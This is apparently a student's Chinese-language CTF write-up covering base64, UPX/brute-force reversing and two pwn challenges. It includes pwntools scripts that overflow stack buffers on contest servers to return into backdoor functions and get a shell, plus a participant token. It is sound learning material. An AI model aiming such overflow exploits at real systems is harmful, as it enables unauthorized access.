ezsyre
签到题目一眼就可以丁真看出来是base64,然后看字符串表,发现换了表,直接用厨子一炒就出来了
babyre
这题有点小离谱,源文件upx壳,upx-d直接脱
发现题目其实就是一个算术题目,不难,我那的z3跑,前三个都跑出来了,就最后一个校验的时候一直报错一直报错,后来上的爆破才解开的。
4个都可以爆破,在循环里面跑就行。
#include <stdio.h>
#include <stdint.h>
int main(){
uint32_t a1;
for (a1 = 0; a1 <= 0x100000000; a1++){
if ( 11 * ~(a1 ^ 0xE33B67BD)
+ 4 * ~(~a1 | 0xE33B67BD)
- (6 * (a1 & 0xE33B67BD)
+ 12 * ~(a1 | 0xE33B67BD))
+ 3 * (a1 & 0xD2C7FC0C)
+ -5 * a1
- 2 * ~(a1 | 0xD2C7FC0C)
+ ~(a1 | 0x2D3803F3)
+ 4 * (a1 & 0x2D3803F3)
- -2 * (a1 | 0x2D3803F3) == 0xCE1066DC ){
printf("fonud a1: %d\n",a1);
return 0;
}
}
printf("NO\n");
return 1;
}
babypwn
打开程序一看,我凑这不就是一个简单的栈溢出吗,寻思着又是签到题,不过确实是签到题,是我大菜鸡不知道咋回事,搞了半天才解除来。
可以看到程序的主题就是这个,溢出buf就完事了,我当时想着,这buf咋溢出嘞。
buf这么打一个,但是只能read 0x40个字节,然后我就在想,那就是溢出s1吧,看到下面s1是复合的,然后我就算,加上他这个密码只要在溢出44个就可以拿到shell了,而且他这个还是给后门函数的
但是我当时做的时候死后打不通,后来脑子一抽吧binsh的地址换了一下就打通了,如果有哪个佬看到的话教教,是因为字节限制吗。
我才sh写的地址就是0x401176,后来一直打不通,换成了0x40117A就打通了,真的想不通为啥很莫名奇妙的
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = remote('prob07.contest.pku.edu.cn',10007)
pop_rbp = 0x000000000040115d
sys = 0x0000000000401176
ret = 0x000000000040101a
p.recvuntil('token:')
token = '98:MEUCIAvWfqSJIZ33QX1EmJ6bBdYtTrjgNiHxQwClc9XoV5hTAiEAv2X59FF7irazr5z8eB3vxN9FoJ_SymYatL-gU_46jyU='
p.sendline(token)
user1 = str('root')
passw1 = str('!@#$%^&*()_+')
p.recvuntil('username:')
#pay1 = p64(0x23402100746f6f72) + b'a'*0x18 + p64(sys)
pay1 = p64(0x23402100746f6f72)
#pay1 = b'a' * 0x50 + p64(sys)
p.sendline(pay1)
p.recvuntil('password:')
#pay2 = passw1
#pay2 = passw1 + b'a'*16+ p64(sys)
#pay2 = b'!@#$%^&*()_+'
pay2 =b'!@#$%^&*()_+'+ b'a'*44 + p64(0x40117a)
p.sendline(pay2)
#p.recvuntil('!')
p.interactive()
login
这一题很有意思,学到东西了,他这个题目是没有程序文件的,直接nc的地址,他进去之后会让你输入user和pass就是登录界面
我当时看到人都傻了,啥都没有我那啥玩,然后后来我就一直输a,发现诶呀我凑,有溢出!还有东西
他对user进行了限制,不可以超过二十个字节,pass没有限制,然后我就输入那么多就把文件泄露出来了,我当时还还不知道这是文件嘞。
然后我就用脚本写了代码看看有什么不一样,结果得到一串很长的文件,我就想,可以不可以把这些泄露出来的文件给收起来放到一个文件里面,因为这文件一看就知道是二进制文件
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = remote('prob04.contest.pku.edu.cn',10004)
token = '98:MEUCIAvWfqSJIZ33QX1EmJ6bBdYtTrjgNiHxQwClc9XoV5hTAiEAv2X59FF7irazr5z8eB3vxN9FoJ_SymYatL-gU_46jyU='
p.recvuntil('token:')
p.sendline(token)
p.recvuntil('name:')
p.sendline('admin')
p.recvuntil('word:')
pay = b'1q2w3e4r'
p.sendline(pay)
data = p.recvall(timeout=1)
# 将16进制数据解码为字节
# 保存成文件
with open('filename.bin', 'wb') as f:
f.write(data)
运行完后得到一个二进制文件,这文件我也打不开啊,后来搜发现厨子还可以抄二进制文件
发厨子里面抄就真正的得到一份elf开头的二进制文件,保存开始分析。
主题代码,在pass的时候直接溢出就好
存在后门函数
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = remote('prob04.contest.pku.edu.cn',10004)
token = '98:MEUCIAvWfqSJIZ33QX1EmJ6bBdYtTrjgNiHxQwClc9XoV5hTAiEAv2X59FF7irazr5z8eB3vxN9FoJ_SymYatL-gU_46jyU='
p.recvuntil('token:')
p.sendline(token)
p.recvuntil('name:')
p.sendline('admin')
p.recvuntil('word:')
pay = b'1q2w3e4r' + b'a'*0x90 + p64(0x40127e)
p.sendline(pay)
p.interactive()
欸呀我去这题真有意思的,妙。
gateway
打开文件看到passwor字样,ascii编码,写个脚本一把嗦
最后随波逐流跑一下就出了
本周自己学习过程中遇到的问题和疑问点